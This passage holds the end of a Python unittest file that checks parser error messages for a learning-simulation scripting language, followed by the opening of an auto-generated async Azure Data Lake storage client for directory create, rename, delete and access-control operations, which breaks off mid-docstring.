'coun_reset(e1)'." with self.assertRaisesMsg(msg): parse(text, 'thelabel') def test_invalid_stimulus_element(self): text = ''' stimulus_elements: e1, e2 behaviors: b1, b2, b3 @PHASE thelabel stop : e1==1 L1 e1,e11 | L2 L2 e2 | L1 ''' msg = "Expected a stimulus element, got 'e11'." with self.assertRaisesMsg(msg): parse(text, 'thelabel') def test_no_conditions(self): text = ''' stimulus_elements: e1, e2 behaviors: b1, b2, b3 @PHASE thelabel stop : e1==1 L1 e1 | L2 L2 e2 | ''' msg = "Line with label 'L2' has no conditions." with self.assertRaisesMsg(msg): parse(text, 'thelabel') def test_unknown_event_in_count_reset(self): text = ''' stimulus_elements: e1, e2 behaviors: b1, b2, b3 @PHASE thelabel stop : e1==1 L1 e1 | L2 L2 count_reset(foo) | ''' msg = "Unknown event 'foo' in count_reset." with self.assertRaisesMsg(msg): parse(text, 'thelabel') def test_no_condition_met(self): text = ''' stimulus_elements: e1, e2 behaviors: b1, b2, b3 @PHASE thelabel stop:e1==10 L1 e1 | b3=7:L2 | b2=42:L2 L2 e2 | L1 ''' phase = parse(text, 'thelabel') stimulus = phase.next_stimulus(None)[0] self.assertEqual(stimulus, {'e1': 1}) msg = "No condition in 'b3=7:L2 | b2=42:L2' was met for response 'b1'." with self.assertRaisesMsg(msg): phase.next_stimulus('b1') text = """ mechanism: ga stimulus_elements : lever1, lever2, lever3, reward behaviors : R @phase vi stop: reward=25000 FI3 lever1 | count_line()=3:ON | FI3 FI2 lever2 | count_line()=2:ON | FI2 ON lever3 | R:REWARD | ON REWARD reward | ON(1/6),FI2(1/6),FI3(1/6) @run vi """ phase = parse(text, 'vi') stimulus = phase.next_stimulus(None)[0] msg = "No condition in 'ON(1/6),FI2(1/6),FI3(1/6)' was met for response 'R'." with self.assertRaisesMsg(msg): for _ in range(100): phase.next_stimulus('R') def test_prob_greater_than_1(self): text = """ mechanism: ga stimulus_elements : lever1, lever2, lever3, reward behaviors : R @phase vi stop: reward=25000 FI3 lever1 | count_line()=3:ON | FI3 FI2 lever2 | count_line()=2:ON | FI2 ON lever3 | R:REWARD | ON REWARD reward | ON(1/2),FI2(1/2),FI3(1/2) @run vi """ msg = "Sum of probabilities is 1.5>1." with self.assertRaisesMsg(msg): run(text) def test_condition_has_more_than_one_colon(self): text = ''' stimulus_elements: e1, e2 behaviors: b1, b2, b3 @PHASE thelabel stop : e1==1 L1 e1 | b3=1 :: L2 | L1 L2 e2 | L1 ''' msg = "Error on line 5: Invalid statement 'b3=1 :: L2'." with self.assertRaisesMsg(msg): parse(text, 'thelabel') def test_condition_not_boolean(self): text = ''' mechanism: sr stimulus_elements: e1, e2 behaviors: b1, b2, b3 @PHASE thelabel stop : e1==4 L1 e1 | 42:L2 | L1 L2 e2 | L1 @run thelabel ''' msg = "Condition '42' is not a boolean expression." with self.assertRaisesMsg(msg): run(text) # phase = parse(text, 'thelabel') text = ''' stimulus_elements: e1, e2 behaviors: b1, b2, b3 @PHASE thelabel stop : e1==4 L1 e1 | e1:L2 | L1 L2 e2 | L1 ''' msg = "Variable name 'e1' equals a stimulus element name." with self.assertRaisesMsg(msg): phase = parse(text, 'thelabel') text = ''' stimulus_elements: e1, e2 behaviors: b1, b2, b3 @PHASE thelabel stop : e1==4 L1 e1 | b1:L2 | L1 L2 e2 | L1 ''' phase = parse(text, 'thelabel') phase.next_stimulus(None) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e2': 1}) text = ''' stimulus_elements: e1, e2 behaviors: b1, b2, b3 @PHASE thelabel stop : e1==4 L1 e1 | b1:L2 | L1 L2 e2 | L1 ''' phase = parse(text, 'thelabel') phase.next_stimulus(None) stimulus = phase.next_stimulus('b2')[0] self.assertEqual(stimulus, {'e1': 1}) def test_invalid_condition(self): text = ''' stimulus_elements: e1, e2 behaviors: b1, b2, b3 @PHASE thelabel stop : e1==4 L1 e1 | L2,L1 | L1 L2 e2 | L1 ''' msg = "Error on line 5: The unconditional goto row label 'L2,L1' cannot be continued." with self.assertRaisesMsg(msg): parse(text, 'thelabel') text = ''' stimulus_elements: e1, e2 behaviors: b1, b2, b3 @PHASE thelabel stop : e1==4 L1 e1 | L2(0.5),L1 | L1 L2 e2 | L1 ''' msg = "Invalid condition 'L2(0.5),L1'." with self.assertRaisesMsg(msg): parse(text, 'thelabel') text = ''' stimulus_elements: e1, e2 behaviors: b1, b2, b3 @PHASE thelabel stop : e1==4 L1 e1 | L2((0.5)),L1(0.1) | L1 L2 e2 | L1 ''' # msg = "Unknown action 'L2((0.5)),L1(0.1)'." msg = "Unknown action 'L2((0.5))'." with self.assertRaisesMsg(msg): parse(text, 'thelabel') text = ''' stimulus_elements: e1, e2 behaviors: b1, b2, b3 @PHASE thelabel stop : e1==4 L1 e1 | L2)0.5(,L1(0.1) | L1 L2 e2 | L1 ''' msg = "Unknown action 'L2)0.5('." with self.assertRaisesMsg(msg): parse(text, 'thelabel') text = ''' stimulus_elements: e1, e2 behaviors: b1, b2, b3 @PHASE thelabel stop : e1==4 L1 e1 | L2(0.5), LL1(0.1) | L1 L2 e2 | L1 ''' msg = "Unknown action 'LL1(0.1)'." with self.assertRaisesMsg(msg): parse(text, 'thelabel') text = ''' stimulus_elements: e1, e2 behaviors: b1, b2, b3 @PHASE thelabel stop : e1==4 L1 e1 | L2(0.5), L1(1.1) | L1 L2 e2 | L1 ''' msg = "Invalid condition 'L2(0.5),L1(1.1)'. Expected a probability, got '1.1'." with self.assertRaisesMsg(msg): parse(text, 'thelabel') text = ''' stimulus_elements: e1, e2 behaviors: b1, b2, b3 @PHASE thelabel stop : e1==4 L1 e1 | L2(0.2),L1(-0.9) | L1 L2 e2 | L1 ''' msg = "Invalid condition 'L2(0.2),L1(-0.9)'. Expected a probability, got '-0.9'." with self.assertRaisesMsg(msg): parse(text, 'thelabel') text = ''' stimulus_elements: e1, e2 behaviors: b1, b2, b3 @PHASE thelabel stop : e1==4 L1 e1 | L2(0.5),L1(0.2),L2(0.01) | L1 L2 e2 | L1 L3 e1 | L2 ''' msg = "Invalid condition 'L2(0.5),L1(0.2),L2(0.01)'. Label 'L2' duplicated." with self.assertRaisesMsg(msg): parse(text, 'thelabel') text = ''' stimulus_elements: e1, e2 behaviors: b1, b2, b3 @PHASE thelabel stop : e1==4 L1 e1 | L22 | L1 L2 e2 | L1 ''' msg = "Unknown action 'L22'." with self.assertRaisesMsg(msg): parse(text, 'thelabel') text = ''' mechanism: ga stimulus_elements: e1, e2 behaviors: b1, b2, b3 @PHASE thelabel stop : e1==4 L1 e1 | L2(0.2),L1(0.9) | L1 L2 e2 | L1 @run thelabel ''' msg = "Sum of probabilities is 1.1>1." with self.assertRaisesMsg(msg): run(text) def test_invalid_phase_label(self): text = ''' stimulus_elements: e1, e2 behaviors: b1, b2, b3 @PHASE 123thelabel stop : e1==4 L1 e1 | L2(0.2),L1(0.9) | L1 L2 e2 | L1 ''' msg = "Phase label '123thelabel' is not a valid identifier." with self.assertRaisesMsg(msg): parse(text, 'thelabel')

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Python

src/storage-blob-preview/azext_storage_blob_preview/vendored_sdks/azure_storage_blob/v2020_02_10/_generated/aio/operations_async/_directory_operations_async.py

Mannan2812/azure-cli-extensions

e2b34efe23795f6db9c59100534a40f0813c3d95

[ "MIT" ]

207

2017-11-29T06:59:41.000Z

2022-03-31T10:00:53.000Z

src/storage-blob-preview/azext_storage_blob_preview/vendored_sdks/azure_storage_blob/v2020_02_10/_generated/aio/operations_async/_directory_operations_async.py

Mannan2812/azure-cli-extensions

e2b34efe23795f6db9c59100534a40f0813c3d95

[ "MIT" ]

4,061

2017-10-27T23:19:56.000Z

2022-03-31T23:18:30.000Z

src/storage-blob-preview/azext_storage_blob_preview/vendored_sdks/azure_storage_blob/v2020_02_10/_generated/aio/operations_async/_directory_operations_async.py

Mannan2812/azure-cli-extensions

e2b34efe23795f6db9c59100534a40f0813c3d95

[ "MIT" ]

802

2017-10-11T17:36:26.000Z

2022-03-31T22:24:32.000Z

# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for # license information. # # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is # regenerated. # -------------------------------------------------------------------------- from azure.core.exceptions import map_error from ... import models class DirectoryOperations: """DirectoryOperations async operations. You should not instantiate directly this class, but create a Client instance that will create it for you and attach it as attribute. :param client: Client for service requests. :param config: Configuration of service client. :param serializer: An object model serializer. :param deserializer: An object model deserializer. :ivar resource: . Constant value: "directory". """ models = models def __init__(self, client, config, serializer, deserializer) -> None: self._client = client self._serialize = serializer self._deserialize = deserializer self._config = config self.resource = "directory" async def create(self, timeout=None, directory_properties=None, posix_permissions=None, posix_umask=None, request_id=None, directory_http_headers=None, lease_access_conditions=None, modified_access_conditions=None, *, cls=None, **kwargs): """Create a directory. By default, the destination is overwritten and if the destination already exists and has a lease the lease is broken. This operation supports conditional HTTP requests. For more information, see [Specifying Conditional Headers for Blob Service Operations](https://docs.microsoft.com/en-us/rest/api/storageservices/specifying-conditional-headers-for-blob-service-operations). To fail if the destination already exists, use a conditional request with If-None-Match: "*". :param timeout: The timeout parameter is expressed in seconds. For more information, see <a href="https://docs.microsoft.com/en-us/rest/api/storageservices/fileservices/setting-timeouts-for-blob-service-operations">Setting Timeouts for Blob Service Operations.</a> :type timeout: int :param directory_properties: Optional. User-defined properties to be stored with the file or directory, in the format of a comma-separated list of name and value pairs "n1=v1, n2=v2, ...", where each value is base64 encoded. :type directory_properties: str :param posix_permissions: Optional and only valid if Hierarchical Namespace is enabled for the account. Sets POSIX access permissions for the file owner, the file owning group, and others. Each class may be granted read, write, or execute permission. The sticky bit is also supported. Both symbolic (rwxrw-rw-) and 4-digit octal notation (e.g. 0766) are supported. :type posix_permissions: str :param posix_umask: Only valid if Hierarchical Namespace is enabled for the account. This umask restricts permission settings for file and directory, and will only be applied when default Acl does not exist in parent directory. If the umask bit has set, it means that the corresponding permission will be disabled. Otherwise the corresponding permission will be determined by the permission. A 4-digit octal notation (e.g. 0022) is supported here. If no umask was specified, a default umask - 0027 will be used. :type posix_umask: str :param request_id: Provides a client-generated, opaque value with a 1 KB character limit that is recorded in the analytics logs when storage analytics logging is enabled. :type request_id: str :param directory_http_headers: Additional parameters for the operation :type directory_http_headers: ~.models.DirectoryHttpHeaders :param lease_access_conditions: Additional parameters for the operation :type lease_access_conditions: ~.models.LeaseAccessConditions :param modified_access_conditions: Additional parameters for the operation :type modified_access_conditions: ~.models.ModifiedAccessConditions :param callable cls: A custom type or function that will be passed the direct response :return: None or the result of cls(response) :rtype: None :raises: :class:`DataLakeStorageErrorException<.models.DataLakeStorageErrorException>` """ error_map = kwargs.pop('error_map', None) cache_control = None if directory_http_headers is not None: cache_control = directory_http_headers.cache_control content_type = None if directory_http_headers is not None: content_type = directory_http_headers.content_type content_encoding = None if directory_http_headers is not None: content_encoding = directory_http_headers.content_encoding content_language = None if directory_http_headers is not None: content_language = directory_http_headers.content_language content_disposition = None if directory_http_headers is not None: content_disposition = directory_http_headers.content_disposition lease_id = None if lease_access_conditions is not None: lease_id = lease_access_conditions.lease_id if_modified_since = None if modified_access_conditions is not None: if_modified_since = modified_access_conditions.if_modified_since if_unmodified_since = None if modified_access_conditions is not None: if_unmodified_since = modified_access_conditions.if_unmodified_since if_match = None if modified_access_conditions is not None: if_match = modified_access_conditions.if_match if_none_match = None if modified_access_conditions is not None: if_none_match = modified_access_conditions.if_none_match # Construct URL url = self.create.metadata['url'] path_format_arguments = { 'url': self._serialize.url("self._config.url", self._config.url, 'str', skip_quote=True) } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} if timeout is not None: query_parameters['timeout'] = self._serialize.query("timeout", timeout, 'int', minimum=0) query_parameters['resource'] = self._serialize.query("self.resource", self.resource, 'str') # Construct headers header_parameters = {} if directory_properties is not None: header_parameters['x-ms-properties'] = self._serialize.header("directory_properties", directory_properties, 'str') if posix_permissions is not None: header_parameters['x-ms-permissions'] = self._serialize.header("posix_permissions", posix_permissions, 'str') if posix_umask is not None: header_parameters['x-ms-umask'] = self._serialize.header("posix_umask", posix_umask, 'str') header_parameters['x-ms-version'] = self._serialize.header("self._config.version", self._config.version, 'str') if request_id is not None: header_parameters['x-ms-client-request-id'] = self._serialize.header("request_id", request_id, 'str') if cache_control is not None: header_parameters['x-ms-cache-control'] = self._serialize.header("cache_control", cache_control, 'str') if content_type is not None: header_parameters['x-ms-content-type'] = self._serialize.header("content_type", content_type, 'str') if content_encoding is not None: header_parameters['x-ms-content-encoding'] = self._serialize.header("content_encoding", content_encoding, 'str') if content_language is not None: header_parameters['x-ms-content-language'] = self._serialize.header("content_language", content_language, 'str') if content_disposition is not None: header_parameters['x-ms-content-disposition'] = self._serialize.header("content_disposition", content_disposition, 'str') if lease_id is not None: header_parameters['x-ms-lease-id'] = self._serialize.header("lease_id", lease_id, 'str') if if_modified_since is not None: header_parameters['If-Modified-Since'] = self._serialize.header("if_modified_since", if_modified_since, 'rfc-1123') if if_unmodified_since is not None: header_parameters['If-Unmodified-Since'] = self._serialize.header("if_unmodified_since", if_unmodified_since, 'rfc-1123') if if_match is not None: header_parameters['If-Match'] = self._serialize.header("if_match", if_match, 'str') if if_none_match is not None: header_parameters['If-None-Match'] = self._serialize.header("if_none_match", if_none_match, 'str') # Construct and send request request = self._client.put(url, query_parameters, header_parameters) pipeline_response = await self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [201]: map_error(status_code=response.status_code, response=response, error_map=error_map) raise models.DataLakeStorageErrorException(response, self._deserialize) if cls: response_headers = { 'ETag': self._deserialize('str', response.headers.get('ETag')), 'Last-Modified': self._deserialize('rfc-1123', response.headers.get('Last-Modified')), 'x-ms-client-request-id': self._deserialize('str', response.headers.get('x-ms-client-request-id')), 'x-ms-request-id': self._deserialize('str', response.headers.get('x-ms-request-id')), 'x-ms-version': self._deserialize('str', response.headers.get('x-ms-version')), 'Content-Length': self._deserialize('long', response.headers.get('Content-Length')), 'Date': self._deserialize('rfc-1123', response.headers.get('Date')), } return cls(response, None, response_headers) create.metadata = {'url': '/{filesystem}/{path}'} async def rename(self, rename_source, timeout=None, marker=None, path_rename_mode=None, directory_properties=None, posix_permissions=None, posix_umask=None, source_lease_id=None, request_id=None, directory_http_headers=None, lease_access_conditions=None, modified_access_conditions=None, source_modified_access_conditions=None, *, cls=None, **kwargs): """Rename a directory. By default, the destination is overwritten and if the destination already exists and has a lease the lease is broken. This operation supports conditional HTTP requests. For more information, see [Specifying Conditional Headers for Blob Service Operations](https://docs.microsoft.com/en-us/rest/api/storageservices/specifying-conditional-headers-for-blob-service-operations). To fail if the destination already exists, use a conditional request with If-None-Match: "*". :param rename_source: The file or directory to be renamed. The value must have the following format: "/{filesysystem}/{path}". If "x-ms-properties" is specified, the properties will overwrite the existing properties; otherwise, the existing properties will be preserved. :type rename_source: str :param timeout: The timeout parameter is expressed in seconds. For more information, see <a href="https://docs.microsoft.com/en-us/rest/api/storageservices/fileservices/setting-timeouts-for-blob-service-operations">Setting Timeouts for Blob Service Operations.</a> :type timeout: int :param marker: When renaming a directory, the number of paths that are renamed with each invocation is limited. If the number of paths to be renamed exceeds this limit, a continuation token is returned in this response header. When a continuation token is returned in the response, it must be specified in a subsequent invocation of the rename operation to continue renaming the directory. :type marker: str :param path_rename_mode: Determines the behavior of the rename operation. Possible values include: 'legacy', 'posix' :type path_rename_mode: str or ~.models.PathRenameMode :param directory_properties: Optional. User-defined properties to be stored with the file or directory, in the format of a comma-separated list of name and value pairs "n1=v1, n2=v2, ...", where each value is base64 encoded. :type directory_properties: str :param posix_permissions: Optional and only valid if Hierarchical Namespace is enabled for the account. Sets POSIX access permissions for the file owner, the file owning group, and others. Each class may be granted read, write, or execute permission. The sticky bit is also supported. Both symbolic (rwxrw-rw-) and 4-digit octal notation (e.g. 0766) are supported. :type posix_permissions: str :param posix_umask: Only valid if Hierarchical Namespace is enabled for the account. This umask restricts permission settings for file and directory, and will only be applied when default Acl does not exist in parent directory. If the umask bit has set, it means that the corresponding permission will be disabled. Otherwise the corresponding permission will be determined by the permission. A 4-digit octal notation (e.g. 0022) is supported here. If no umask was specified, a default umask - 0027 will be used. :type posix_umask: str :param source_lease_id: A lease ID for the source path. If specified, the source path must have an active lease and the lease ID must match. :type source_lease_id: str :param request_id: Provides a client-generated, opaque value with a 1 KB character limit that is recorded in the analytics logs when storage analytics logging is enabled. :type request_id: str :param directory_http_headers: Additional parameters for the operation :type directory_http_headers: ~.models.DirectoryHttpHeaders :param lease_access_conditions: Additional parameters for the operation :type lease_access_conditions: ~.models.LeaseAccessConditions :param modified_access_conditions: Additional parameters for the operation :type modified_access_conditions: ~.models.ModifiedAccessConditions :param source_modified_access_conditions: Additional parameters for the operation :type source_modified_access_conditions: ~.models.SourceModifiedAccessConditions :param callable cls: A custom type or function that will be passed the direct response :return: None or the result of cls(response) :rtype: None :raises: :class:`DataLakeStorageErrorException<.models.DataLakeStorageErrorException>` """ error_map = kwargs.pop('error_map', None) cache_control = None if directory_http_headers is not None: cache_control = directory_http_headers.cache_control content_type = None if directory_http_headers is not None: content_type = directory_http_headers.content_type content_encoding = None if directory_http_headers is not None: content_encoding = directory_http_headers.content_encoding content_language = None if directory_http_headers is not None: content_language = directory_http_headers.content_language content_disposition = None if directory_http_headers is not None: content_disposition = directory_http_headers.content_disposition lease_id = None if lease_access_conditions is not None: lease_id = lease_access_conditions.lease_id if_modified_since = None if modified_access_conditions is not None: if_modified_since = modified_access_conditions.if_modified_since if_unmodified_since = None if modified_access_conditions is not None: if_unmodified_since = modified_access_conditions.if_unmodified_since if_match = None if modified_access_conditions is not None: if_match = modified_access_conditions.if_match if_none_match = None if modified_access_conditions is not None: if_none_match = modified_access_conditions.if_none_match source_if_modified_since = None if source_modified_access_conditions is not None: source_if_modified_since = source_modified_access_conditions.source_if_modified_since source_if_unmodified_since = None if source_modified_access_conditions is not None: source_if_unmodified_since = source_modified_access_conditions.source_if_unmodified_since source_if_match = None if source_modified_access_conditions is not None: source_if_match = source_modified_access_conditions.source_if_match source_if_none_match = None if source_modified_access_conditions is not None: source_if_none_match = source_modified_access_conditions.source_if_none_match # Construct URL url = self.rename.metadata['url'] path_format_arguments = { 'url': self._serialize.url("self._config.url", self._config.url, 'str', skip_quote=True) } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} if timeout is not None: query_parameters['timeout'] = self._serialize.query("timeout", timeout, 'int', minimum=0) if marker is not None: query_parameters['continuation'] = self._serialize.query("marker", marker, 'str') if path_rename_mode is not None: query_parameters['mode'] = self._serialize.query("path_rename_mode", path_rename_mode, 'PathRenameMode') # Construct headers header_parameters = {} header_parameters['x-ms-rename-source'] = self._serialize.header("rename_source", rename_source, 'str') if directory_properties is not None: header_parameters['x-ms-properties'] = self._serialize.header("directory_properties", directory_properties, 'str') if posix_permissions is not None: header_parameters['x-ms-permissions'] = self._serialize.header("posix_permissions", posix_permissions, 'str') if posix_umask is not None: header_parameters['x-ms-umask'] = self._serialize.header("posix_umask", posix_umask, 'str') if source_lease_id is not None: header_parameters['x-ms-source-lease-id'] = self._serialize.header("source_lease_id", source_lease_id, 'str') header_parameters['x-ms-version'] = self._serialize.header("self._config.version", self._config.version, 'str') if request_id is not None: header_parameters['x-ms-client-request-id'] = self._serialize.header("request_id", request_id, 'str') if cache_control is not None: header_parameters['x-ms-cache-control'] = self._serialize.header("cache_control", cache_control, 'str') if content_type is not None: header_parameters['x-ms-content-type'] = self._serialize.header("content_type", content_type, 'str') if content_encoding is not None: header_parameters['x-ms-content-encoding'] = self._serialize.header("content_encoding", content_encoding, 'str') if content_language is not None: header_parameters['x-ms-content-language'] = self._serialize.header("content_language", content_language, 'str') if content_disposition is not None: header_parameters['x-ms-content-disposition'] = self._serialize.header("content_disposition", content_disposition, 'str') if lease_id is not None: header_parameters['x-ms-lease-id'] = self._serialize.header("lease_id", lease_id, 'str') if if_modified_since is not None: header_parameters['If-Modified-Since'] = self._serialize.header("if_modified_since", if_modified_since, 'rfc-1123') if if_unmodified_since is not None: header_parameters['If-Unmodified-Since'] = self._serialize.header("if_unmodified_since", if_unmodified_since, 'rfc-1123') if if_match is not None: header_parameters['If-Match'] = self._serialize.header("if_match", if_match, 'str') if if_none_match is not None: header_parameters['If-None-Match'] = self._serialize.header("if_none_match", if_none_match, 'str') if source_if_modified_since is not None: header_parameters['x-ms-source-if-modified-since'] = self._serialize.header("source_if_modified_since", source_if_modified_since, 'rfc-1123') if source_if_unmodified_since is not None: header_parameters['x-ms-source-if-unmodified-since'] = self._serialize.header("source_if_unmodified_since", source_if_unmodified_since, 'rfc-1123') if source_if_match is not None: header_parameters['x-ms-source-if-match'] = self._serialize.header("source_if_match", source_if_match, 'str') if source_if_none_match is not None: header_parameters['x-ms-source-if-none-match'] = self._serialize.header("source_if_none_match", source_if_none_match, 'str') # Construct and send request request = self._client.put(url, query_parameters, header_parameters) pipeline_response = await self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [201]: map_error(status_code=response.status_code, response=response, error_map=error_map) raise models.DataLakeStorageErrorException(response, self._deserialize) if cls: response_headers = { 'x-ms-continuation': self._deserialize('str', response.headers.get('x-ms-continuation')), 'ETag': self._deserialize('str', response.headers.get('ETag')), 'Last-Modified': self._deserialize('rfc-1123', response.headers.get('Last-Modified')), 'x-ms-client-request-id': self._deserialize('str', response.headers.get('x-ms-client-request-id')), 'x-ms-request-id': self._deserialize('str', response.headers.get('x-ms-request-id')), 'x-ms-version': self._deserialize('str', response.headers.get('x-ms-version')), 'Content-Length': self._deserialize('long', response.headers.get('Content-Length')), 'Date': self._deserialize('rfc-1123', response.headers.get('Date')), } return cls(response, None, response_headers) rename.metadata = {'url': '/{filesystem}/{path}'} async def delete(self, recursive_directory_delete, timeout=None, marker=None, request_id=None, lease_access_conditions=None, modified_access_conditions=None, *, cls=None, **kwargs): """Deletes the directory. :param recursive_directory_delete: If "true", all paths beneath the directory will be deleted. If "false" and the directory is non-empty, an error occurs. :type recursive_directory_delete: bool :param timeout: The timeout parameter is expressed in seconds. For more information, see <a href="https://docs.microsoft.com/en-us/rest/api/storageservices/fileservices/setting-timeouts-for-blob-service-operations">Setting Timeouts for Blob Service Operations.</a> :type timeout: int :param marker: When renaming a directory, the number of paths that are renamed with each invocation is limited. If the number of paths to be renamed exceeds this limit, a continuation token is returned in this response header. When a continuation token is returned in the response, it must be specified in a subsequent invocation of the rename operation to continue renaming the directory. :type marker: str :param request_id: Provides a client-generated, opaque value with a 1 KB character limit that is recorded in the analytics logs when storage analytics logging is enabled. :type request_id: str :param lease_access_conditions: Additional parameters for the operation :type lease_access_conditions: ~.models.LeaseAccessConditions :param modified_access_conditions: Additional parameters for the operation :type modified_access_conditions: ~.models.ModifiedAccessConditions :param callable cls: A custom type or function that will be passed the direct response :return: None or the result of cls(response) :rtype: None :raises: :class:`DataLakeStorageErrorException<.models.DataLakeStorageErrorException>` """ error_map = kwargs.pop('error_map', None) lease_id = None if lease_access_conditions is not None: lease_id = lease_access_conditions.lease_id if_modified_since = None if modified_access_conditions is not None: if_modified_since = modified_access_conditions.if_modified_since if_unmodified_since = None if modified_access_conditions is not None: if_unmodified_since = modified_access_conditions.if_unmodified_since if_match = None if modified_access_conditions is not None: if_match = modified_access_conditions.if_match if_none_match = None if modified_access_conditions is not None: if_none_match = modified_access_conditions.if_none_match # Construct URL url = self.delete.metadata['url'] path_format_arguments = { 'url': self._serialize.url("self._config.url", self._config.url, 'str', skip_quote=True) } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} if timeout is not None: query_parameters['timeout'] = self._serialize.query("timeout", timeout, 'int', minimum=0) query_parameters['recursive'] = self._serialize.query("recursive_directory_delete", recursive_directory_delete, 'bool') if marker is not None: query_parameters['continuation'] = self._serialize.query("marker", marker, 'str') # Construct headers header_parameters = {} header_parameters['x-ms-version'] = self._serialize.header("self._config.version", self._config.version, 'str') if request_id is not None: header_parameters['x-ms-client-request-id'] = self._serialize.header("request_id", request_id, 'str') if lease_id is not None: header_parameters['x-ms-lease-id'] = self._serialize.header("lease_id", lease_id, 'str') if if_modified_since is not None: header_parameters['If-Modified-Since'] = self._serialize.header("if_modified_since", if_modified_since, 'rfc-1123') if if_unmodified_since is not None: header_parameters['If-Unmodified-Since'] = self._serialize.header("if_unmodified_since", if_unmodified_since, 'rfc-1123') if if_match is not None: header_parameters['If-Match'] = self._serialize.header("if_match", if_match, 'str') if if_none_match is not None: header_parameters['If-None-Match'] = self._serialize.header("if_none_match", if_none_match, 'str') # Construct and send request request = self._client.delete(url, query_parameters, header_parameters) pipeline_response = await self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [200]: map_error(status_code=response.status_code, response=response, error_map=error_map) raise models.DataLakeStorageErrorException(response, self._deserialize) if cls: response_headers = { 'x-ms-continuation': self._deserialize('str', response.headers.get('x-ms-continuation')), 'x-ms-client-request-id': self._deserialize('str', response.headers.get('x-ms-client-request-id')), 'x-ms-request-id': self._deserialize('str', response.headers.get('x-ms-request-id')), 'x-ms-version': self._deserialize('str', response.headers.get('x-ms-version')), 'Date': self._deserialize('rfc-1123', response.headers.get('Date')), } return cls(response, None, response_headers) delete.metadata = {'url': '/{filesystem}/{path}'} async def set_access_control(self, timeout=None, owner=None, group=None, posix_permissions=None, posix_acl=None, request_id=None, lease_access_conditions=None, modified_access_conditions=None, *, cls=None, **kwargs): """Set the owner, group, permissions, or access control list for a directory. :param timeout: The timeout parameter is expressed in seconds. For more information, see <a href="https://docs.microsoft.com/en-us/rest/api/storageservices/fileservices/setting-timeouts-for-blob-service-operations">Setting Timeouts for Blob Service Operations.</a> :type timeout: int :param owner: Optional. The owner of the blob or directory. :type owner: str :param group: Optional. The owning group of the blob or directory. :type group: str :param posix_permissions: Optional and only valid if Hierarchical Namespace is enabled for the account. Sets POSIX access permissions for the file owner, the file owning group, and others. Each class may be granted read, write, or execute permission. The sticky bit is also supported. Both symbolic (rwxrw-rw-) and 4-digit octal notation (e.g. 0766) are supported. :type posix_permissions: str :param posix_acl: Sets POSIX access control rights on files and directories. The value is a comma-separated list of access control entries. Each access control entry (ACE) consists of a scope, a type, a user or group identifier, and permissions in the format "[scope:][type]:[id]:[permissions]". :type posix_acl: str :param request_id: Provides a client-generated, opaque value with a 1 KB character limit that is recorded in the analytics logs when storage analytics logging is enabled. :type request_id: str :param lease_access_conditions: Additional parameters for the operation :type lease_access_conditions: ~.models.LeaseAccessConditions :param modified_access_conditions: Additional parameters for the operation :type modified_access_conditions: ~.models.ModifiedAccessConditions :param callable cls: A custom type or function that will be passed the direct response :return: None or the result of cls(response) :rtype: None :raises: :class:`DataLakeStorageErrorException<.models.DataLakeStorageErrorException>` """ error_map = kwargs.pop('error_map', None) lease_id = None if lease_access_conditions is not None: lease_id = lease_access_conditions.lease_id if_match = None if modified_access_conditions is not None: if_match = modified_access_conditions.if_match if_none_match = None if modified_access_conditions is not None: if_none_match = modified_access_conditions.if_none_match if_modified_since = None if modified_access_conditions is not None: if_modified_since = modified_access_conditions.if_modified_since if_unmodified_since = None if modified_access_conditions is not None: if_unmodified_since = modified_access_conditions.if_unmodified_since action = "setAccessControl" # Construct URL url = self.set_access_control.metadata['url'] path_format_arguments = { 'url': self._serialize.url("self._config.url", self._config.url, 'str', skip_quote=True) } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} if timeout is not None: query_parameters['timeout'] = self._serialize.query("timeout", timeout, 'int', minimum=0) query_parameters['action'] = self._serialize.query("action", action, 'str') # Construct headers header_parameters = {} if owner is not None: header_parameters['x-ms-owner'] = self._serialize.header("owner", owner, 'str') if group is not None: header_parameters['x-ms-group'] = self._serialize.header("group", group, 'str') if posix_permissions is not None: header_parameters['x-ms-permissions'] = self._serialize.header("posix_permissions", posix_permissions, 'str') if posix_acl is not None: header_parameters['x-ms-acl'] = self._serialize.header("posix_acl", posix_acl, 'str') if request_id is not None: header_parameters['x-ms-client-request-id'] = self._serialize.header("request_id", request_id, 'str') header_parameters['x-ms-version'] = self._serialize.header("self._config.version", self._config.version, 'str') if lease_id is not None: header_parameters['x-ms-lease-id'] = self._serialize.header("lease_id", lease_id, 'str') if if_match is not None: header_parameters['If-Match'] = self._serialize.header("if_match", if_match, 'str') if if_none_match is not None: header_parameters['If-None-Match'] = self._serialize.header("if_none_match", if_none_match, 'str') if if_modified_since is not None: header_parameters['If-Modified-Since'] = self._serialize.header("if_modified_since", if_modified_since, 'rfc-1123') if if_unmodified_since is not None: header_parameters['If-Unmodified-Since'] = self._serialize.header("if_unmodified_since", if_unmodified_since, 'rfc-1123') # Construct and send request request = self._client.patch(url, query_parameters, header_parameters) pipeline_response = await self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [200]: map_error(status_code=response.status_code, response=response, error_map=error_map) raise models.DataLakeStorageErrorException(response, self._deserialize) if cls: response_headers = { 'Date': self._deserialize('rfc-1123', response.headers.get('Date')), 'ETag': self._deserialize('str', response.headers.get('ETag')), 'Last-Modified': self._deserialize('rfc-1123', response.headers.get('Last-Modified')), 'x-ms-request-id': self._deserialize('str', response.headers.get('x-ms-request-id')), 'x-ms-version': self._deserialize('str', response.headers.get('x-ms-version')), 'x-ms-client-request-id': self._deserialize('str', response.headers.get('x-ms-client-request-id')), } return cls(response, None, response_headers) set_access_control.metadata = {'url': '/{filesystem}/{path}'} async def get_access_control(self, timeout=None, upn=None, request_id=None, lease_access_conditions=None, modified_access_conditions=None, *, cls=None, **kwargs): """Get the owner, group, permissions, 